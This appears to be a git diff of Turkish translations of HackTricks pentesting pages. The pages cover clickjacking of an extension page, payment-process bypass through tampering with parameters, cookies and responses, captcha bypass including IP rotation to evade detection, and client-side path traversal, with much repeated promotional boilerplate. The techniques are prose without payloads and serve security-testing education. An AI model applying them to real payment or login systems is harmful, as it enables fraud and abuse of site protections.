Özellikle, **`/html/bookmarks.html`** sayfası çerçevelemeye karşı hassastır, bu nedenle **clickjacking**'e karşı savunmasızdır. Bu zafiyet, sayfayı bir saldırganın sitesinde çerçevelemek için kullanılır ve arayüzü yanıltıcı bir şekilde yeniden tasarlamak için DOM öğeleri ile örtülür. Bu manipülasyon, kurbanların istemeden altta yatan uzantıyla etkileşimde bulunmasına yol açar.
## Referanslar
* [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/)
* [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzdaki özel [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,20 +1,21 @@
# Ödeme Sürecini Atlatma
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklam görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
**Try Hard Güvenlik Grubu**
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
@ -24,46 +25,51 @@ HackTricks'ı desteklemenin diğer yolları:
## Ödeme Atlatma Teknikleri
### İstek İzleme
İşlem süreci sırasında istemci ve sunucu arasında değişen verileri izlemek son derece önemlidir. Bu, tüm istekleri engelleyerek yapılabilir. Bu istekler içinde, genellikle işlem durumunu gösteren **Başarılı**, isteğin kaynağını işaret edebilecek **Referrer** ve işlem tamamlandıktan sonra kullanıcıyı yönlendirmek için kullanılan **Callback** gibi önemli etkilere sahip parametreleri arayın.
### İstek Yakalama
İşlem sürecinde, istemci ve sunucu arasında değiştirilen verileri izlemek çok önemlidir. Bu, tüm istekleri yakalayarak yapılabilir. Bu istekler içinde, önemli sonuçlar doğurabilecek parametreleri arayın, örneğin:
- **Başarı**: Bu parametre genellikle işlemin durumunu gösterir.
- **Referans**: İsteğin nereden geldiğini gösterebilir.
- **Geri Çağırma**: Bu genellikle işlem tamamlandıktan sonra kullanıcıyı yönlendirmek için kullanılır.
### URL Analizi
Özellikle _example.com/payment/MD5HASH_ desenini takip eden bir URL içeren bir parametreyle karşılaşırsanız, bu daha yakından incelenmelidir. İşte adım adım bir yaklaşım:
Bir URL içeren bir parametre ile karşılaşırsanız, özellikle _example.com/payment/MD5HASH_ desenini takip ediyorsa, daha yakından incelemek gerekir. İşte adım adım bir yaklaşım:
1. **URL'yi Kopyala**: Parametre değerinden URL'yi çıkarın.
2. **Yeni Pencere İncelemesi**: Kopyalanan URL'yi yeni bir tarayıcı penceresinde açın. Bu eylem, işlemin sonucunu anlamak için kritiktir.
1. **URL'yi Kopyalayın**: Parametre değerinden URL'yi çıkarın.
2. **Yeni Pencere İncelemesi**: Kopyalanan URL'yi yeni bir tarayıcı penceresinde açın. Bu işlem, işlemin sonucunu anlamak için kritik öneme sahiptir.
### Parametre Manipülasyonu
1. **Parametre Değerlerini Değiştirme**: _Success_, _Referrer_ veya _Callback_ gibi parametrelerin değerlerini değiştirerek deney yapın. Örneğin, bir parametreyi `false`dan `true`'ya değiştirmek, sistemin bu girdileri nasıl işlediğini bazen ortaya çıkarabilir.
2. **Parametreleri Kaldırma**: Belirli parametreleri tamamen kaldırmayı deneyerek sistemin nasıl tepki verdiğini görün. Beklenen parametreler eksik olduğunda bazı sistemler yedek planları veya varsayılan davranışları olabilir.
1. **Parametre Değerlerini Değiştirin**: _Başarı_, _Referans_ veya _Geri Çağırma_ gibi parametrelerin değerlerini değiştirerek deneyin. Örneğin, bir parametreyi `false`'dan `true`'ya değiştirmek, sistemin bu girdileri nasıl işlediğini ortaya çıkarabilir.
2. **Parametreleri Kaldırın**: Bazı parametreleri tamamen kaldırmayı deneyin ve sistemin nasıl tepki verdiğini görün. Bazı sistemler, beklenen parametreler eksik olduğunda geri dönüşler veya varsayılan davranışlar sergileyebilir.
### Çerez Manipülasyonu
1. **Çerezleri İnceleme**: Birçok web sitesi önemli bilgileri çerezlerde saklar. Bu çerezleri ödeme durumu veya kullanıcı kimlik doğrulamasıyla ilgili veriler açısından inceleyin.
2. **Çerez Değerlerini Değiştirme**: Çerezlerde saklanan değerleri değiştirin ve web sitesinin yanıtını veya davranışını nasıl değiştirdiğini gözlemleyin.
1. **Çerezleri İnceleyin**: Birçok web sitesi, çerezlerde kritik bilgileri saklar. Bu çerezleri ödeme durumu veya kullanıcı kimlik doğrulaması ile ilgili veriler için inceleyin.
2. **Çerez Değerlerini Değiştirin**: Çerezlerde saklanan değerleri değiştirin ve web sitesinin yanıtının veya davranışının nasıl değiştiğini gözlemleyin.
### Oturum Kaçırma
1. **Oturum Belirteçleri**: Ödeme sürecinde oturum belirteçleri kullanılıyorsa, bunları yakalayıp manipüle etmeyi deneyin. Bu, oturum yönetimi açıklarına dair içgörüler sağlayabilir.
### Oturum Ele Geçirme
1. **Oturum Token'ları**: Ödeme sürecinde oturum token'ları kullanılıyorsa, bunları yakalamayı ve manipüle etmeyi deneyin. Bu, oturum yönetimi zafiyetleri hakkında bilgi verebilir.
### Yanıt Manipülasyonu
1. **Yanıtları Engelleyin**: Araçları kullanarak sunucudan gelen yanıtları engelleyin ve analiz edin. Başarılı bir işlemi gösterebilecek veya ödeme sürecindeki bir sonraki adımları ortaya çıkarabilecek herhangi bir veriyi arayın.
2. **Yanıtları Değiştirme**: Tarayıcı veya uygulama tarafından işlenmeden önce yanıtları değiştirmeye çalışarak başarılı bir işlem senaryosunu simüle etmeye çalışın.
1. **Yanıtları Yakalayın**: Sunucudan gelen yanıtları yakalamak ve analiz etmek için araçlar kullanın. Başarılı bir işlemi gösteren veya ödeme sürecindeki sonraki adımları ortaya çıkaran verileri arayın.
2. **Yanıtları Değiştirin**: Yanıtlar tarayıcı veya uygulama tarafından işlenmeden önce bunları değiştirmeyi deneyin ve başarılı bir işlem senaryosunu simüle edin.
**Try Hard Güvenlik Grubu**
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklam görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,63 +1,64 @@
# Captcha Geçme
# Captcha Bypass
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile öğrenin!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR gönderin.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Captcha Geçme
## Captcha Bypass
**Sunucu testi** sırasında captcha'yı geçmek ve kullanıcı giriş işlevlerini otomatikleştirmek için çeşitli teknikler kullanılabilir. Amaç, güvenliği zayıflatmak değil, test sürecini optimize etmektir. İşte stratejilerin kapsamlı bir listesi:
**Sunucu testi** sırasında captcha'yı **bypass** etmek ve kullanıcı girişi işlevlerini otomatikleştirmek için çeşitli teknikler kullanılabilir. Amaç güvenliği zayıflatmak değil, test sürecini kolaylaştırmaktır. İşte kapsamlı bir strateji listesi:
1. **Parametre Manipülasyonu**:
* **Captcha Parametresini Atla**: Captcha parametresini göndermeyi denemeyin. HTTP yöntemini POST'tan GET'e veya diğer fiillere değiştirme ve veri formatını değiştirme gibi denemeler yapın, örneğin form verisi ile JSON arasında geçiş yapın.
* **Boş Captcha Gönder**: Captcha parametresini bırakarak isteği gönderin.
* **Captcha Parametresini Atla**: Captcha parametresini göndermemeye çalışın. HTTP yöntemini POST'tan GET'e veya diğer fiillere değiştirmeyi ve veri formatını, örneğin form verisi ile JSON arasında geçiş yapmayı deneyin.
* **Boş Captcha Gönder**: Captcha parametresi mevcut ancak boş bırakılarak isteği gönderin.
2. **Değer Çıkarma ve Tekrar Kullanım**:
* **Kaynak Kod İncelemesi**: Sayfanın kaynak kodunda captcha değerini arayın.
* **Çerez Analizi**: Captcha değerinin depolanıp tekrar kullanılıp kullanılmadığını bulmak için çerezleri inceleyin.
* **Eski Captcha Değerlerini Tekrar Kullanma**: Daha önce başarılı olan captcha değerlerini tekrar kullanmaya çalışın. Bunların her zaman süresinin dolabileceğini unutmayın.
* **Oturum Manipülasyonu**: Aynı captcha değerini farklı oturumlarda veya aynı oturum kimliğinde kullanmayı deneyin.
2. **Değer Çıkartma ve Yeniden Kullanma**:
* **Kaynak Kodu İncelemesi**: Sayfanın kaynak kodunda captcha değerini arayın.
* **Çerez Analizi**: Captcha değerinin saklanıp saklanmadığını ve yeniden kullanılıp kullanılmadığını kontrol etmek için çerezleri inceleyin.
* **Eski Captcha Değerlerini Yeniden Kullanma**: Daha önce başarılı olan captcha değerlerini tekrar kullanmayı deneyin. Bunların her an süresinin dolabileceğini unutmayın.
* **Oturum Manipülasyonu**: Farklı oturumlar veya aynı oturum kimliği arasında aynı captcha değerini kullanmayı deneyin.
3. **Otomasyon ve Tanıma**:
* **Matematiksel Captchalar**: Captcha matematik işlemleri içeriyorsa, hesaplama sürecini otomatikleştirin.
* **Görüntü Tanıma**:
* Görüntüden karakter okuma gerektiren captchalar için, toplam benzersiz görüntü sayısını manuel veya programatik olarak belirleyin. Küme sınırlıysa, her görüntüyü MD5 karma değeriyle tanımlayabilirsiniz.
* [Tesseract OCR](https://github.com/tesseract-ocr/tesseract) gibi Optik Karakter Tanıma (OCR) araçlarını kullanarak görüntülerden karakter okumayı otomatikleştirin.
* Bir görüntüden karakter okumayı gerektiren captchalar için, benzersiz görüntülerin toplam sayısını manuel veya programatik olarak belirleyin. Set sınırlıysa, her görüntüyü MD5 hash'i ile tanımlayabilirsiniz.
* Görüntülerden karakter okumayı otomatikleştirmek için [Tesseract OCR](https://github.com/tesseract-ocr/tesseract) gibi Optik Karakter Tanıma (OCR) araçlarını kullanın.
4. **Ek Teknikler**:
* **Hız Sınırlama Testi**: Uygulamanın belirli bir süre içinde deneme veya gönderim sayısını sınırlayıp sınırlamadığını ve bu sınırın atlanıp sıfırlanıp sıfırlanamayacağını kontrol edin.
* **Üçüncü Taraf Hizmetleri**: Otomatik captcha tanıma ve çözme sunan captcha çözme hizmetleri veya API'lerini kullanın.
* **Oturum ve IP Dönüşümü**: Sunucu tarafından algılanmayı ve engellenmeyi önlemek için oturum kimliğini ve IP adresini sık sık değiştirin.
* **Kullanıcı Aracısı ve Başlık Manipülasyonu**: Kullanıcı Aracısı ve diğer istek başlıklarını değiştirerek farklı tarayıcıları veya cihazları taklit edin.
* **Sesli Captcha Analizi**: Sesli captcha seçeneği varsa, metin okuma hizmetlerini kullanarak captchayı yorumlayın ve çözün.
* **Hız Sınırı Testi**: Uygulamanın belirli bir zaman diliminde deneme veya gönderim sayısını sınırlayıp sınırlamadığını ve bu sınırın aşılabilir veya sıfırlanabilir olup olmadığını kontrol edin.
* **Üçüncü Taraf Hizmetler**: Otomatik captcha tanıma ve çözme sunan captcha çözme hizmetlerini veya API'lerini kullanın.
* **Oturum ve IP Döngüsü**: Sunucu tarafından tespit edilmemek ve engellenmemek için oturum kimliklerini ve IP adreslerini sık sık değiştirin.
* **User-Agent ve Başlık Manipülasyonu**: Farklı tarayıcıları veya cihazları taklit etmek için User-Agent ve diğer istek başlıklarını değiştirin.
* **Sesli Captcha Analizi**: Sesli captcha seçeneği mevcutsa, captcha'yı yorumlamak ve çözmek için konuşma metnine dönüştürme hizmetlerini kullanın.
## Captchaları çözmek için çevrimiçi hizmetler
## Online Services to solve captchas
### [Capsolver](https://www.capsolver.com/)
Capsolver'ın otomatik captcha çözücüsü, **uygun ve hızlı bir captcha çözme çözümü** sunar. En iyi sonuçları saniyeler içinde elde etmek için basit entegrasyon seçeneği kullanarak programınızla hızla birleştirebilirsiniz. reCAPTCHA V2 ve V3, hCaptcha, FunCaptcha, datadome, aws captcha, resimden metne, binance / coinmarketcap captcha, geetest v3 ve daha fazlasını çözebilir. Bununla birlikte, bu doğrudan bir geçiş değildir.
Capsolver'ın otomatik captcha çözücü, **uygun fiyatlı ve hızlı bir captcha çözme çözümü** sunar. En iyi sonuçları birkaç saniye içinde elde etmek için basit entegrasyon seçeneği ile programınıza hızlıca entegre edebilirsiniz. reCAPTCHA V2 ve V3, hCaptcha, FunCaptcha, datadome, aws captcha, resimden metne, binance / coinmarketcap captcha, geetest v3 ve daha fazlasını çözebilir. Ancak, bu tam anlamıyla bir bypass değildir.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile öğrenin!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR gönderin.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,37 +1,39 @@
# İstemci Tarafı Yol Geçişi
# Client Side Path Traversal
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u takip edin.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
## Temel Bilgiler
İstemci tarafı yol geçişi, bir URL'nin yolunu **manipüle edebildiğinizde** veya bir kullanıcının bir şekilde **zorla ziyaret etmesi gereken bir URL'ye** gönderileceği zaman meydana gelir, örneğin JS veya CSS aracılığıyla.
Bir istemci tarafı yol geçişi, **bir URL'nin yolunu manipüle edebildiğinizde** meydana gelir; bu URL, **bir kullanıcının ziyaret etmesi için meşru bir şekilde gönderilecektir** veya bir kullanıcı **JS veya CSS aracılığıyla zorla ziyaret etmeye yönlendirilecektir**.
[**Bu yazıda**](https://erasec.be/blog/client-side-path-manipulation/), davet URL'sini değiştirerek bir kartın **iptal edilmesi** mümkün oldu.
[**bu yazıda**](https://erasec.be/blog/client-side-path-manipulation/) **davet URL'sini değiştirmek** mümkün oldu, böylece **bir kartı iptal etme** işlemi gerçekleşti.
[**Bu yazıda**](https://mr-medi.github.io/research/2022/11/04/practical-client-side-path-traversal-attacks.html), bir **CSS aracılığıyla istemci tarafı yol geçişi** (bir CSS kaynağının yüklendiği yolun değiştirilmesi mümkün oldu) ile bir **açık yönlendirme**yi birleştirerek CSS kaynağını bir **saldırgan kontrolündeki alan adından** yüklemek mümkün oldu.
[**bu yazıda**](https://mr-medi.github.io/research/2022/11/04/practical-client-side-path-traversal-attacks.html), **CSS aracılığıyla bir istemci tarafı yol geçişini** (bir CSS kaynağının yüklendiği yolu değiştirmek mümkün oldu) **açık bir yönlendirme** ile bir **saldırgan kontrolündeki alan adından** CSS kaynağını yüklemek için birleştirmek mümkün oldu.
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u takip edin.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,29 +1,30 @@
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
